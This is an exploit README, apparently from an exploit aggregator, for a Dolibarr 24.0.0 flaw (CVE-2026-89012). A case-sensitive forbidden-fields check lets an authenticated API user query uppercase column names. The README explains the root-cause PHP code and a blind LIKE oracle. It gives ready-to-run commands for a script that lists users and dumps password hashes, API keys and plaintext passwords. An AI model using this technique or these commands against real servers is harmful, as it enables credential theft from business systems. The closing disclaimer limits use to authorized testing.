Exploit for CVE-2026-89012

## https://sploitus.com/exploit?id=BFC7CD0E-1507-5808-A8E8-D1E81456FB9E
# CVE-2026-89012 — Dolibarr SQL Filter Denylist Bypass

Exploit for CVE-2026-89012: the forbidden-fields denylist in
`forgeSQLFromUniversalSearchCriteria()` (introduced with the CVE-2026-71510 fix)
uses a case-sensitive `in_array()` while the operand charset allows `A-Z`.
Since SQL column resolution is case-insensitive, an authenticated API user can
query `t.PASS_CRYPTED` instead of `t.pass_crypted` and bypass the denylist.
Prefix `LIKE` predicates turn `sqlfilters` into a blind-boolean oracle that
recovers password hashes character by character.

Record: 

| | |
|---|---|
| Affected | Dolibarr 24.0.0 |
| Fixed | 24.0.1 |
| Prerequisites | valid API token with `users->lire` |
| Impact | disclosure of `pass_crypted`, `api_key`, `pass`, `pass_temp`, `openid` |

## Root cause

```php
// htdocs/core/lib/functions.lib.php, 24.0.0 line 16306
$operandwithoutprefix = preg_replace('/^[a-z0-9_]+\./i', '', $operand);
if (in_array($operandwithoutprefix, $newforbiddenfields)) {  // case-sensitive
    return '1=1';
}
```

## Usage

```bash
# detection (safe, 3 requests)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY check

# list readable users
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY users

# extract pass_crypted for every user (threaded oracle)
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump

# single target / other protected column
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --login admin
python3 CVE-2026-89012.py https://erp.local/api/index.php/users --apikey KEY dump --column API_KEY --charset hex
```

Standard library only (Python 3.8+). Supports `--proxy`, `--insecure`, `--timeout`.

Note: under a case-insensitive collation (the default) the bcrypt value is
recovered exactly up to character case; plaintext columns (`llx_adherent.pass`
via `/api/index.php/members`, `pass_temp`) recover byte-exact.

![demo](CVE-2026-89012.png)

## References

- CVE record: 
- Fixed release: 
- Patch commit: 

## Disclaimer

For authorized testing and research only. Use only against systems you own or
have explicit permission to test.